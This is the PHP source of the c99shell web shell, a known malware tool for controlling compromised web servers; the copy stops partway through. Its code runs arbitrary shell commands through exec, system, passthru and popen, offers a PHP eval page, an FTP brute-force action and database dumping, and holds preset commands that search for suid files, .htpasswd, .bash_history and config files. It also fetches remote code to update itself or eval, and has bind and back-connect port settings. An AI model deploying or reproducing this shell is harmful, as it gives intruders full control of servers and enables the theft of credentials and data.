/____/ /____/ /_______ /|___| /\___ >____/____/ \_/ /\ \_______ \ /\ |___|
\/ \/ \/ \/ \/ \/ \/
* c99shell.php v.2.1 (PHP 7) (1.12.2019) Updated by: KaizenLouie for PHP 7, and cermmik for MySQL
* https://github.com/KaizenLouie/C99Shell-PHP7
* https://github.com/cermmik/C99-WebShell
*************************************************************************************************************
*/
if (!function_exists("getmicrotime"))
{
function getmicrotime()
{
list($usec, $sec) = explode(" ", microtime());
return ((float)$usec + (float)$sec);
}
}
error_reporting(5);
@ignore_user_abort(true);
$win = strtolower(substr(PHP_OS, 0, 3)) == "win";
define("starttime", getmicrotime());
if (get_magic_quotes_gpc())
{
if (!function_exists("strips"))
{
function strips(&$arr, $k = "")
{
if (is_array($arr))
{
foreach ($arr as $k => $v)
{
if (strtoupper($k) != "GLOBALS")
{
strips($arr["$k"]);
}
}
}
else
{
$arr = stripslashes($arr);
}
}
}
strips($GLOBALS);
}
$_REQUEST = array_merge($_COOKIE, $_GET, $_POST);
foreach ($_REQUEST as $k => $v)
{
if (!isset($$k))
{
$$k = $v;
}
}
$shver = "2.1 [PHP 7 Update] [1.12.2019]";
if (!empty($unset_surl))
{
setcookie("c99sh_surl");
$surl = "";
}
elseif (!empty($set_surl))
{
$surl = $set_surl;
setcookie("c99sh_surl", $surl);
}
else
{
$surl = $_REQUEST["c99sh_surl"];
}
$surl_autofill_include = true;
if ($surl_autofill_include and !$_REQUEST["c99sh_surl"])
{
$include = "&";
foreach (explode("&", getenv("QUERY_STRING")) as $v)
{
$v = explode("=", $v);
$name = urldecode($v[0]);
$value = urldecode($v[1]);
foreach (array(
"http://",
"https://",
"ssl://",
"ftp://",
"\\\\"
) as $needle)
{
if (strpos($value, $needle) === 0)
{
$includestr .= urlencode($name) . "=" . urlencode($value) . "&";
}
}
}
if ($_REQUEST["surl_autofill_include"])
{
$includestr .= "surl_autofill_include=1&";
}
}
if (empty($surl))
{
$surl = "?" . $includestr;
}
$surl = htmlspecialchars($surl);
$timelimit = 0;
$login = "";
$pass = "";
$md5_pass = "";
$host_allow = array(
"*"
);
$login_txt = "Restricted area";
$accessdeniedmess = "
c99shell v." . $shver . " : access denied";
$gzipencode = true;
$updatenow = false;
$c99sh_updateurl = "https://github.com/KaizenLouie/C99Shell-PHP7/";
$c99sh_sourcesurl = "https://github.com/KaizenLouie/C99Shell-PHP7/";
$filestealth = true;
$donated_html = "
Owned by hacker ";
$donated_act = array(
""
);
$curdir = "./";
$tmpdir = "";
$tmpdir_log = "./";
$log_email = "user@host.tld";
$sort_default = "0a";
$sort_save = true;
$ftypes = array(
"html" => array(
"html",
"htm",
"shtml"
) ,
"txt" => array(
"txt",
"conf",
"bat",
"sh",
"js",
"bak",
"doc",
"log",
"sfc",
"cfg",
"htaccess"
) ,
"exe" => array(
"sh",
"install",
"bat",
"cmd"
) ,
"ini" => array(
"ini",
"inf"
) ,
"code" => array(
"php",
"phtml",
"php3",
"php4",
"inc",
"tcl",
"h",
"c",
"cpp",
"py",
"cgi",
"pl"
) ,
"img" => array(
"gif",
"png",
"jpeg",
"jfif",
"jpg",
"jpe",
"bmp",
"ico",
"tif",
"tiff",
"avi",
"mpg",
"mpeg"
) ,
"sdb" => array(
"sdb"
) ,
"phpsess" => array(
"sess"
) ,
"download" => array(
"exe",
"com",
"pif",
"src",
"lnk",
"zip",
"rar",
"gz",
"tar"
)
);
$exeftypes = array(
getenv("PHPRC") . " -q %f%" => array(
"php",
"php3",
"php4"
) ,
"perl %f%" => array(
"pl",
"cgi"
)
);
$regxp_highlight = array(
array(
basename($_SERVER["PHP_SELF"]) ,
1,
"
",
" "
) ,
array(
"config.php",
1
)
);
$safemode_diskettes = array(
"a"
);
$hexdump_lines = 8;
$hexdump_rows = 24;
$nixpwdperpage = 100;
$bindport_pass = "c99";
$bindport_port = "31373";
$bc_port = "31373";
$datapipe_localport = "8081";
if (!$win)
{
$cmdaliases = array(
array(
"-----------------------------------------------------------",
"ls -la"
) ,
array(
"find all suid files",
"find / -type f -perm -04000 -ls"
) ,
array(
"find suid files in current dir",
"find . -type f -perm -04000 -ls"
) ,
array(
"find all sgid files",
"find / -type f -perm -02000 -ls"
) ,
array(
"find sgid files in current dir",
"find . -type f -perm -02000 -ls"
) ,
array(
"find config.inc.php files",
"find / -type f -name config.inc.php"
) ,
array(
"find config* files",
"find / -type f -name \"config*\""
) ,
array(
"find config* files in current dir",
"find . -type f -name \"config*\""
) ,
array(
"find all writable folders and files",
"find / -perm -2 -ls"
) ,
array(
"find all writable folders and files in current dir",
"find . -perm -2 -ls"
) ,
array(
"find all service.pwd files",
"find / -type f -name service.pwd"
) ,
array(
"find service.pwd files in current dir",
"find . -type f -name service.pwd"
) ,
array(
"find all .htpasswd files",
"find / -type f -name .htpasswd"
) ,
array(
"find .htpasswd files in current dir",
"find . -type f -name .htpasswd"
) ,
array(
"find all .bash_history files",
"find / -type f -name .bash_history"
) ,
array(
"find .bash_history files in current dir",
"find . -type f -name .bash_history"
) ,
array(
"find all .fetchmailrc files",
"find / -type f -name .fetchmailrc"
) ,
array(
"find .fetchmailrc files in current dir",
"find . -type f -name .fetchmailrc"
) ,
array(
"list file attributes on a Linux second extended file system",
"lsattr -va"
) ,
array(
"show opened ports",
"netstat -an | grep -i listen"
)
);
}
else
{
$cmdaliases = array(
array(
"-----------------------------------------------------------",
"dir"
) ,
array(
"show opened ports",
"netstat -an"
)
);
}
$sess_cookie = "c99shvars";
$usefsbuff = true;
$copy_unset = false;
$quicklaunch = array(
array(
"
",
$surl
) ,
array(
"
",
"#\" onclick=\"history.back(1)"
) ,
array(
"
",
"#\" onclick=\"history.go(1)"
) ,
array(
"
",
$surl . "act=ls&d=%upd&sort=%sort"
) ,
array(
"
",
""
) ,
array(
"
",
$surl . "act=search&d=%d"
) ,
array(
"
",
$surl . "act=fsbuff&d=%d"
) ,
array(
"
Encoder ",
$surl . "act=encoder&d=%d"
) ,
array(
"
Tools ",
$surl . "act=tools&d=%d"
) ,
array(
"
Proc. ",
$surl . "act=processes&d=%d"
) ,
array(
"
FTP brute ",
$surl . "act=ftpquickbrute&d=%d"
) ,
array(
"
Sec. ",
$surl . "act=security&d=%d"
) ,
array(
"
SQL ",
$surl . "act=sql&d=%d"
) ,
array(
"
PHP-code ",
$surl . "act=eval&d=%d"
) ,
array(
"
Update ",
$surl . "act=update&d=%d"
) ,
array(
"
Feedback ",
$surl . "act=feedback&d=%d"
) ,
array(
"
Self remove ",
$surl . "act=selfremove"
) ,
array(
"
Logout ",
"#\" onclick=\"if (confirm('Are you sure?')) window.close()"
)
);
$highlight_background = "#c0c0c0";
$highlight_bg = "#FFFFFF";
$highlight_comment = "#6A6A6A";
$highlight_default = "#0000BB";
$highlight_html = "#1300FF";
$highlight_keyword = "#007700";
$highlight_string = "#000000";
@$f = $_REQUEST["f"];
@extract($_REQUEST["c99shcook"]);
@set_time_limit(0);
$tmp = array();
foreach ($host_allow as $k => $v)
{
$tmp[] = str_replace("\\*", ".*", preg_quote($v));
}
$s = "!^(" . implode("|", $tmp) . ")$!i";
if (!preg_match($s, getenv("REMOTE_ADDR")) and !preg_match($s, gethostbyaddr(getenv("REMOTE_ADDR"))))
{
exit("
c99shell : Access Denied - your host (" . getenv("REMOTE_ADDR") . ") not allow");
}
if (!empty($login))
{
if (empty($md5_pass))
{
$md5_pass = md5($pass);
}
if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
{
if (empty($login_txt))
{
$login_txt = strip_tags(preg_replace(" |
", " ", $donated_html));
}
header("WWW-Authenticate: Basic realm=\"c99shell " . $shver . ": " . $login_txt . "\"");
header("HTTP/1.0 401 Unauthorized");
exit($accessdeniedmess);
}
}
if ($act != "img")
{
$lastdir = realpath(".");
chdir($curdir);
if ($selfwrite or $updatenow)
{
@ob_clean();
c99sh_getupdate($selfwrite, 1);
exit;
}
$sess_data = unserialize($_COOKIE["$sess_cookie"]);
if (!is_array($sess_data))
{
$sess_data = array();
}
if (!is_array($sess_data["copy"]))
{
$sess_data["copy"] = array();
}
if (!is_array($sess_data["cut"]))
{
$sess_data["cut"] = array();
}
$disablefunc = @ini_get("disable_functions");
if (!empty($disablefunc))
{
$disablefunc = str_replace(" ", "", $disablefunc);
$disablefunc = explode(",", $disablefunc);
}
if (!function_exists("c99_buff_prepare"))
{
function c99_buff_prepare()
{
global $sess_data;
global $act;
foreach ($sess_data["copy"] as $k => $v)
{
$sess_data["copy"][$k] = str_replace("\\", DIRECTORY_SEPARATOR, realpath($v));
}
foreach ($sess_data["cut"] as $k => $v)
{
$sess_data["cut"][$k] = str_replace("\\", DIRECTORY_SEPARATOR, realpath($v));
}
$sess_data["copy"] = array_unique($sess_data["copy"]);
$sess_data["cut"] = array_unique($sess_data["cut"]);
sort($sess_data["copy"]);
sort($sess_data["cut"]);
if ($act != "copy")
{
foreach ($sess_data["cut"] as $k => $v)
{
if ($sess_data["copy"][$k] == $v)
{
unset($sess_data["copy"][$k]);
}
}
}
else
{
foreach ($sess_data["copy"] as $k => $v)
{
if ($sess_data["cut"][$k] == $v)
{
unset($sess_data["cut"][$k]);
}
}
}
}
}
c99_buff_prepare();
if (!function_exists("c99_sess_put"))
{
function c99_sess_put($data)
{
global $sess_cookie;
global $sess_data;
c99_buff_prepare();
$sess_data = $data;
$data = serialize($data);
setcookie($sess_cookie, $data);
}
}
foreach (array(
"sort",
"sql_sort"
) as $v)
{
if (!empty($_GET[$v]))
{
$$v = $_GET[$v];
}
if (!empty($_POST[$v]))
{
$$v = $_POST[$v];
}
}
if ($sort_save)
{
if (!empty($sort))
{
setcookie("sort", $sort);
}
if (!empty($sql_sort))
{
setcookie("sql_sort", $sql_sort);
}
}
if (!function_exists("str2mini"))
{
function str2mini($content, $len)
{
if (strlen($content) > $len)
{
$len = ceil($len / 2) - 2;
return substr($content, 0, $len) . "..." . substr($content, -$len);
}
else
{
return $content;
}
}
}
if (!function_exists("view_size"))
{
function view_size($size)
{
if (!is_numeric($size))
{
return false;
}
else
{
if ($size >= 1073741824)
{
$size = round($size / 1073741824 * 100) / 100 . " GB";
}
elseif ($size >= 1048576)
{
$size = round($size / 1048576 * 100) / 100 . " MB";
}
elseif ($size >= 1024)
{
$size = round($size / 1024 * 100) / 100 . " KB";
}
else
{
$size = $size . " B";
}
return $size;
}
}
}
if (!function_exists("fs_copy_dir"))
{
function fs_copy_dir($d, $t)
{
$d = str_replace("\\", DIRECTORY_SEPARATOR, $d);
if (substr($d, -1) != DIRECTORY_SEPARATOR)
{
$d .= DIRECTORY_SEPARATOR;
}
$h = opendir($d);
while (($o = readdir($h)) !== false)
{
if (($o != ".") and ($o != ".."))
{
if (!is_dir($d . DIRECTORY_SEPARATOR . $o))
{
$ret = copy($d . DIRECTORY_SEPARATOR . $o, $t . DIRECTORY_SEPARATOR . $o);
}
else
{
$ret = mkdir($t . DIRECTORY_SEPARATOR . $o);
fs_copy_dir($d . DIRECTORY_SEPARATOR . $o, $t . DIRECTORY_SEPARATOR . $o);
}
if (!$ret)
{
return $ret;
}
}
}
closedir($h);
return true;
}
}
if (!function_exists("fs_copy_obj"))
{
function fs_copy_obj($d, $t)
{
$d = str_replace("\\", DIRECTORY_SEPARATOR, $d);
$t = str_replace("\\", DIRECTORY_SEPARATOR, $t);
if (!is_dir(dirname($t)))
{
mkdir(dirname($t));
}
if (is_dir($d))
{
if (substr($d, -1) != DIRECTORY_SEPARATOR)
{
$d .= DIRECTORY_SEPARATOR;
}
if (substr($t, -1) != DIRECTORY_SEPARATOR)
{
$t .= DIRECTORY_SEPARATOR;
}
return fs_copy_dir($d, $t);
}
elseif (is_file($d))
{
return copy($d, $t);
}
else
{
return false;
}
}
}
if (!function_exists("fs_move_dir"))
{
function fs_move_dir($d, $t)
{
$h = opendir($d);
if (!is_dir($t))
{
mkdir($t);
}
while (($o = readdir($h)) !== false)
{
if (($o != ".") and ($o != ".."))
{
$ret = true;
if (!is_dir($d . DIRECTORY_SEPARATOR . $o))
{
$ret = copy($d . DIRECTORY_SEPARATOR . $o, $t . DIRECTORY_SEPARATOR . $o);
}
else
{
if (mkdir($t . DIRECTORY_SEPARATOR . $o) and fs_copy_dir($d . DIRECTORY_SEPARATOR . $o, $t . DIRECTORY_SEPARATOR . $o))
{
$ret = false;
}
}
if (!$ret)
{
return $ret;
}
}
}
closedir($h);
return true;
}
}
if (!function_exists("fs_move_obj"))
{
function fs_move_obj($d, $t)
{
$d = str_replace("\\", DIRECTORY_SEPARATOR, $d);
$t = str_replace("\\", DIRECTORY_SEPARATOR, $t);
if (is_dir($d))
{
if (substr($d, -1) != DIRECTORY_SEPARATOR)
{
$d .= DIRECTORY_SEPARATOR;
}
if (substr($t, -1) != DIRECTORY_SEPARATOR)
{
$t .= DIRECTORY_SEPARATOR;
}
return fs_move_dir($d, $t);
}
elseif (is_file($d))
{
if (copy($d, $t))
{
return unlink($d);
}
else
{
unlink($t);
return false;
}
}
else
{
return false;
}
}
}
if (!function_exists("fs_rmdir"))
{
function fs_rmdir($d)
{
$h = opendir($d);
while (($o = readdir($h)) !== false)
{
if (($o != ".") and ($o != ".."))
{
if (!is_dir($d . $o))
{
unlink($d . $o);
}
else
{
fs_rmdir($d . $o . DIRECTORY_SEPARATOR);
rmdir($d . $o);
}
}
}
closedir($h);
rmdir($d);
return !is_dir($d);
}
}
if (!function_exists("fs_rmobj"))
{
function fs_rmobj($o)
{
$o = str_replace("\\", DIRECTORY_SEPARATOR, $o);
if (is_dir($o))
{
if (substr($o, -1) != DIRECTORY_SEPARATOR)
{
$o .= DIRECTORY_SEPARATOR;
}
return fs_rmdir($o);
}
elseif (is_file($o))
{
return unlink($o);
}
else
{
return false;
}
}
}
if (!function_exists("myshellexec"))
{
function myshellexec($cmd)
{
global $disablefunc;
$result = "";
if (!empty($cmd))
{
if (is_callable("exec") and !in_array("exec", $disablefunc))
{
exec($cmd, $result);
$result = join("\n", $result);
}
elseif (($result = `$cmd`) !== false)
{
}
elseif (is_callable("system") and !in_array("system", $disablefunc))
{
$v = @ob_get_contents();
@ob_clean();
system($cmd);
$result = @ob_get_contents();
@ob_clean();
echo $v;
}
elseif (is_callable("passthru") and !in_array("passthru", $disablefunc))
{
$v = @ob_get_contents();
@ob_clean();
passthru($cmd);
$result = @ob_get_contents();
@ob_clean();
echo $v;
}
elseif (is_resource($fp = popen($cmd, "r")))
{
$result = "";
while (!feof($fp))
{
$result .= fread($fp, 1024);
}
pclose($fp);
}
}
return $result;
}
}
if (!function_exists("tabsort"))
{
function tabsort($a, $b)
{
global $v;
return strnatcmp($a[$v], $b[$v]);
}
}
if (!function_exists("view_perms"))
{
function view_perms($mode)
{
if (($mode & 0xC000) === 0xC000)
{
$type = "s";
}
elseif (($mode & 0x4000) === 0x4000)
{
$type = "d";
}
elseif (($mode & 0xA000) === 0xA000)
{
$type = "l";
}
elseif (($mode & 0x8000) === 0x8000)
{
$type = "-";
}
elseif (($mode & 0x6000) === 0x6000)
{
$type = "b";
}
elseif (($mode & 0x2000) === 0x2000)
{
$type = "c";
}
elseif (($mode & 0x1000) === 0x1000)
{
$type = "p";
}
else
{
$type = "?";
}
$owner["read"] = ($mode & 00400) ? "r" : "-";
$owner["write"] = ($mode & 00200) ? "w" : "-";
$owner["execute"] = ($mode & 00100) ? "x" : "-";
$group["read"] = ($mode & 00040) ? "r" : "-";
$group["write"] = ($mode & 00020) ? "w" : "-";
$group["execute"] = ($mode & 00010) ? "x" : "-";
$world["read"] = ($mode & 00004) ? "r" : "-";
$world["write"] = ($mode & 00002) ? "w" : "-";
$world["execute"] = ($mode & 00001) ? "x" : "-";
if ($mode & 0x800)
{
$owner["execute"] = ($owner["execute"] == "x") ? "s" : "S";
}
if ($mode & 0x400)
{
$group["execute"] = ($group["execute"] == "x") ? "s" : "S";
}
if ($mode & 0x200)
{
$world["execute"] = ($world["execute"] == "x") ? "t" : "T";
}
return $type . join("", $owner) . join("", $group) . join("", $world);
}
}
if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid", $disablefunc))
{
function posix_getpwuid($uid)
{
return false;
}
}
if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid", $disablefunc))
{
function posix_getgrgid($gid)
{
return false;
}
}
if (!function_exists("posix_kill") and !in_array("posix_kill", $disablefunc))
{
function posix_kill($gid)
{
return false;
}
}
if (!function_exists("parse_perms"))
{
function parse_perms($mode)
{
if (($mode & 0xC000) === 0xC000)
{
$t = "s";
}
elseif (($mode & 0x4000) === 0x4000)
{
$t = "d";
}
elseif (($mode & 0xA000) === 0xA000)
{
$t = "l";
}
elseif (($mode & 0x8000) === 0x8000)
{
$t = "-";
}
elseif (($mode & 0x6000) === 0x6000)
{
$t = "b";
}
elseif (($mode & 0x2000) === 0x2000)
{
$t = "c";
}
elseif (($mode & 0x1000) === 0x1000)
{
$t = "p";
}
else
{
$t = "?";
}
$o["r"] = ($mode & 00400) > 0;
$o["w"] = ($mode & 00200) > 0;
$o["x"] = ($mode & 00100) > 0;
$g["r"] = ($mode & 00040) > 0;
$g["w"] = ($mode & 00020) > 0;
$g["x"] = ($mode & 00010) > 0;
$w["r"] = ($mode & 00004) > 0;
$w["w"] = ($mode & 00002) > 0;
$w["x"] = ($mode & 00001) > 0;
return array(
"t" => $t,
"o" => $o,
"g" => $g,
"w" => $w
);
}
}
if (!function_exists("parsesort"))
{
function parsesort($sort)
{
$one = intval($sort);
$second = substr($sort, -1);
if ($second != "d")
{
$second = "a";
}
return array(
$one,
$second
);
}
}
if (!function_exists("view_perms_color"))
{
function view_perms_color($o)
{
if (!is_readable($o))
{
return "
" . view_perms(fileperms($o)) . " ";
}
elseif (!is_writable($o))
{
return "
" . view_perms(fileperms($o)) . " ";
}
else
{
return "
" . view_perms(fileperms($o)) . " ";
}
}
}
if (!function_exists("c99getsource"))
{
function c99getsource($fn)
{
global $c99sh_sourcesurl;
$array = array(
"c99sh_bindport.pl" => "c99sh_bindport_pl.txt",
"c99sh_bindport.c" => "c99sh_bindport_c.txt",
"c99sh_backconn.pl" => "c99sh_backconn_pl.txt",
"c99sh_backconn.c" => "c99sh_backconn_c.txt",
"c99sh_datapipe.pl" => "c99sh_datapipe_pl.txt",
"c99sh_datapipe.c" => "c99sh_datapipe_c.txt",
);
$name = $array[$fn];
if ($name)
{
return file_get_contents($c99sh_sourcesurl . $name);
}
else
{
return false;
}
}
}
if (!function_exists("c99sh_getupdate"))
{
function c99sh_getupdate($update = true)
{
$url = $GLOBALS["c99sh_updateurl"] . "?version=" . urlencode(base64_encode($GLOBALS["shver"])) . "&updatenow=" . ($updatenow ? "1" : "0") . "&";
$data = @file_get_contents($url);
if (!$data)
{
return "Can't connect to update-server!";
}
else
{
$data = ltrim($data);
$string = substr($data, 3, ord($data{2}));
if ($data{0} == "\x99" and $data{1} == "\x01")
{
return "Error: " . $string;
return false;
}
if ($data{0} == "\x99" and $data{1} == "\x02")
{
return "You are using latest version!";
}
if ($data{0} == "\x99" and $data{1} == "\x03")
{
$string = explode("\x01", $string);
if ($update)
{
$confvars = array();
$sourceurl = $string[0];
$source = file_get_contents($sourceurl);
if (!$source)
{
return "Can't fetch update!";
}
else
{
$fp = fopen(__FILE__, "w");
if (!$fp)
{
return "Local error: can't write update to " . __FILE__ . "! You may download c99shell.php manually
here .";
}
else
{
fwrite($fp, $source);
fclose($fp);
return "Thanks! Updated with success.";
}
}
}
else
{
return "New version are available: " . $string[1];
}
}
elseif ($data{0} == "\x99" and $data{1} == "\x04")
{
eval($string);
return 1;
}
else
{
return "Error in protocol: segmentation failed! (" . $data . ") ";
}
}
}
}
if (!function_exists("mysqli_dump"))
{
function mysqli_dump($set)
{
global $shver;
$sock = $set["sock"];
$db = $set["db"];
$print = $set["print"];
$nl2br = $set["nl2br"];
$file = $set["file"];
$add_drop = $set["add_drop"];
$tabs = $set["tabs"];
$onlytabs = $set["onlytabs"];
$ret = array();
$ret["err"] = array();
if (!is_resource($sock))
{
echo ("Error: \$sock is not valid resource.");
}
if (empty($db))
{
$db = "db";
}
if (empty($print))
{
$print = 0;
}
if (empty($nl2br))
{
$nl2br = 0;
}
if (empty($add_drop))
{
$add_drop = true;
}
if (empty($file))
{
$file = $tmpdir . "dump_" . getenv("SERVER_NAME") . "_" . $db . "_" . date("d-m-Y-H-i-s") . ".sql";
}
if (!is_array($tabs))
{
$tabs = array();
}
if (empty($add_drop))
{
$add_drop = true;
}
if (sizeof($tabs) == 0)
{
$res = mysqli_query($sock, "SHOW TABLES FROM " . $db);
if (mysqli_num_rows($res) > 0)
{
while ($row = mysqli_fetch_row($res))
{
$tabs[] = $row[0];
}
}
}
$out = "# Dumped by C99Shell.SQL v. " . $shver . "
# Home page: https://github.com/KaizenLouie/C99Shell-PHP7
#
# Host settings:
# MySQL version: (" . mysqli_get_server_info() . ") running on " . getenv("SERVER_ADDR") . " (" . getenv("SERVER_NAME") . ")" . "
# Date: " . date("d.m.Y H:i:s") . "
# DB: \"" . $db . "\"
#---------------------------------------------------------
";
$c = count($onlytabs);
foreach ($tabs as $tab)
{
if ((in_array($tab, $onlytabs)) or (!$c))
{
if ($add_drop)
{
$out .= "DROP TABLE IF EXISTS `" . $tab . "`;\n";
}
$res = mysqli_query($sock, "SHOW CREATE TABLE `" . $tab . "`");
if (!$res)
{
$ret["err"][] = mysqli_smarterror($sock);
}
else
{
$row = mysqli_fetch_row($res);
$out .= $row["1"] . ";\n\n";
$res = mysqli_query($sock, "SELECT * FROM `$tab`");
if (mysqli_num_rows($res) > 0)
{
while ($row = mysqli_fetch_assoc($res))
{
$keys = implode("`, `", array_keys($row));
$values = array_values($row);
foreach ($values as $k => $v)
{
$values[$k] = addslashes($v);
}
$values = implode("', '", $values);
$sql = "INSERT INTO `$tab`(`" . $keys . "`) VALUES ('" . $values . "');\n";
$out .= $sql;
}
}
}
}
}
$out .= "#---------------------------------------------------------------------------------\n\n";
if ($file)
{
$fp = fopen($file, "w");
if (!$fp)
{
$ret["err"][] = 2;
}
else
{
fwrite($fp, $out);
fclose($fp);
}
}
if ($print)
{
if ($nl2br)
{
echo nl2br($out);
}
else
{
echo $out;
}
}
return $out;
}
}
if (!function_exists("mysqli_buildwhere"))
{
function mysqli_buildwhere($array, $sep = " and", $functs = array())
{
if (!is_array($array))
{
$array = array();
}
$result = "";
foreach ($array as $k => $v)
{
$value = "";
if (!empty($functs[$k]))
{
$value .= $functs[$k] . "(";
}
$value .= "'" . addslashes($v) . "'";
if (!empty($functs[$k]))
{
$value .= ")";
}
$result .= "`" . $k . "` = " . $value . $sep;
}
$result = substr($result, 0, strlen($result) - strlen($sep));
return $result;
}
}
if (!function_exists("mysqli_fetch_all"))
{
function mysqli_fetch_all($sock, $query)
{
if ($sock)
{
$result = mysqli_query($sock, $query);
}
else
{
$result = mysqli_query($query);
}
$array = array();
while ($row = mysqli_fetch_array($result))
{
$array[] = $row;
}
mysqli_free_result($result);
return $array;
}
}
if (!function_exists("mysqli_field_name"))
{
function mysqli_field_name($result, $field_offset)
{
$properties = mysqli_fetch_field_direct($result, $field_offset);
return is_object($properties) ? $properties->name : null;
}
}
if (!function_exists("mysqli_smarterror"))
{
function mysqli_smarterror($sock)
{
if ($sock)
{
$error = mysqli_error($sock);
}
else
{
$error = mysqli_error();
}
$error = htmlspecialchars($error);
return $error;
}
}
if (!function_exists("mysqli_query_form"))
{
function mysqli_query_form()
{
global $submit, $sql_act, $sql_query, $sql_query_result, $sql_confirm, $sql_query_error, $tbl_struct;
if (($submit) and (!$sql_query_result) and ($sql_confirm))
{
if (!$sql_query_error)
{
$sql_query_error = "Query was empty";
}
echo "
Error: " . $sql_query_error . "
";
}
if ($sql_query_result or (!$sql_confirm))
{
$sql_act = $sql_goto;
}
if ((!$submit) or ($sql_act))
{
echo "
Fields: " . $name . "
";
}
}
if ($sql_query_result or (!$sql_confirm))
{
$sql_query = $sql_last_query;
}
}
}
if (!function_exists("mysqli_create_db"))
{
function mysqli_create_db($sock = "", $db)
{
$sql = "CREATE DATABASE `" . addslashes($db) . "`;";
if ($sock)
{
return mysqli_query($sock, $sql);
}
else
{
return mysqli_query($sql);
}
}
}
if (!function_exists("mysqli_query_parse"))
{
function mysqli_query_parse($query)
{
$query = trim($query);
$arr = explode(" ", $query);
$types = array(
"SELECT" => array(
3,
1
) ,
"SHOW" => array(
2,
1
) ,
"DELETE" => array(
1
) ,
"DROP" => array(
1
)
);
$result = array();
$op = strtoupper($arr[0]);
if (is_array($types[$op]))
{
$result["propertions"] = $types[$op];
$result["query"] = $query;
if ($types[$op] == 2)
{
foreach ($arr as $k => $v)
{
if (strtoupper($v) == "LIMIT")
{
$result["limit"] = $arr[$k + 1];
$result["limit"] = explode(",", $result["limit"]);
if (count($result["limit"]) == 1)
{
$result["limit"] = array(
0,
$result["limit"][0]
);
}
unset($arr[$k], $arr[$k + 1]);
}
}
}
}
else
{
return false;
}
}
}
if (!function_exists("c99fsearch"))
{
function c99fsearch($d)
{
global $found;
global $found_d;
global $found_f;
global $search_i_f;
global $search_i_d;
global $a;
if (substr($d, -1) != DIRECTORY_SEPARATOR)
{
$d .= DIRECTORY_SEPARATOR;
}
$h = opendir($d);
while (($f = readdir($h)) !== false)
{
if ($f != "." && $f != "..")
{
$bool = (empty($a["name_regexp"]) and strpos($f, $a["name"]) !== false) || ($a["name_regexp"] and preg_match($a["name"], $f));
if (is_dir($d . $f))
{
$search_i_d++;
if (empty($a["text"]) and $bool)
{
$found[] = $d . $f;
$found_d++;
}
if (!is_link($d . $f))
{
c99fsearch($d . $f);
}
}
else
{
$search_i_f++;
if ($bool)
{
if (!empty($a["text"]))
{
$r = @file_get_contents($d . $f);
if ($a["text_wwo"])
{
$a["text"] = " " . trim($a["text"]) . " ";
}
if (!$a["text_cs"])
{
$a["text"] = strtolower($a["text"]);
$r = strtolower($r);
}
if ($a["text_regexp"])
{
$bool = preg_match($a["text"], $r);
}
else
{
$bool = strpos(" " . $r, $a["text"], 1);
}
if ($a["text_not"])
{
$bool = !$bool;
}
if ($bool)
{
$found[] = $d . $f;
$found_f++;
}
}
else
{
$found[] = $d . $f;
$found_f++;
}
}
}
}
}
closedir($h);
}
}
if ($act == "gofile")
{
if (is_dir($f))
{
$act = "ls";
$d = $f;
}
else
{
$act = "f";
$d = dirname($f);
$f = basename($f);
}
}
@ob_start();
@ob_implicit_flush(0);
function onphpshutdown()
{
global $gzipencode, $ft;
if (!headers_sent() and $gzipencode and !in_array($ft, array(
"img",
"download",
"notepad"
)))
{
$v = @ob_get_contents();
@ob_end_clean();
@ob_start("ob_gzHandler");
echo $v;
@ob_end_flush();
}
}
function c99shexit()
{
onphpshutdown();
exit;
}
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");
if (empty($tmpdir))
{
$tmpdir = ini_get("upload_tmp_dir");
if (is_dir($tmpdir))
{
$tmpdir = "/tmp/";
}
}
$tmpdir = realpath($tmpdir);
$tmpdir = str_replace("\\", DIRECTORY_SEPARATOR, $tmpdir);
if (substr($tmpdir, -1) != DIRECTORY_SEPARATOR)
{
$tmpdir .= DIRECTORY_SEPARATOR;
}
if (empty($tmpdir_logs))
{
$tmpdir_logs = $tmpdir;
}
else
{
$tmpdir_logs = realpath($tmpdir_logs);
}
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
{
$safemode = true;
$hsafemode = "
ON (secure) ";
}
else
{
$safemode = false;
$hsafemode = "
OFF (not secure) ";
}
$v = @ini_get("open_basedir");
if ($v or strtolower($v) == "on")
{
$openbasedir = true;
$hopenbasedir = "
" . $v . " ";
}
else
{
$openbasedir = false;
$hopenbasedir = "
OFF (not secure) ";
}
$sort = htmlspecialchars($sort);
if (empty($sort))
{
$sort = $sort_default;
}
$sort[1] = strtolower($sort[1]);
$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
if (!preg_match("PHP/" . phpversion() , $DISP_SERVER_SOFTWARE))
{
$DISP_SERVER_SOFTWARE .= ". PHP/" . phpversion();
}
$DISP_SERVER_SOFTWARE = str_replace("PHP/" . phpversion() , "
PHP/" . phpversion() . " ", htmlspecialchars($DISP_SERVER_SOFTWARE));
@ini_set("highlight.bg", $highlight_bg);
@ini_set("highlight.comment", $highlight_comment);
@ini_set("highlight.default", $highlight_default);
@ini_set("highlight.html", $highlight_html);
@ini_set("highlight.keyword", $highlight_keyword);
@ini_set("highlight.string", $highlight_string);
if (!is_array($actbox))
{
$actbox = array();
}
$dspact = $act = htmlspecialchars($act);
$disp_fullpath = $ls_arr = $notls = null;
$ud = urlencode($d); ?>
<?php echo getenv("HTTP_HOST"); ?> - c99shell ! C99Shell v. !
Software:
uname -a: ", 1); ?>
", 1);
}
else
{
echo get_current_user();
} ?>
Safe-mode:
" . htmlspecialchars($b) . DIRECTORY_SEPARATOR . " ";
$i++;
}
echo " ";
if (is_writable($d))
{
$wd = true;
$wdt = "[ ok ] ";
echo "" . view_perms(fileperms($d)) . " [ Read-Only ] ";
echo "" . view_perms_color($d) . " ";
}
if (is_callable("disk_free_space"))
{
$free = disk_free_space($d);
$total = disk_total_space($d);
if ($free === false)
{
$free = 0;
}
if ($total === false)
{
$total = 0;
}
if ($free < 0)
{
$free = 0;
}
if ($total < 0)
{
$total = 0;
}
$used = $total - $free;
$free_percent = round(100 / ($total / $free) , 2);
echo "Free " . view_size($free) . " of " . view_size($total) . " (" . $free_percent . "%) ";
}
echo "[ ";
if ($letter . ":" != $v)
{
$letters .= $letter;
}
else
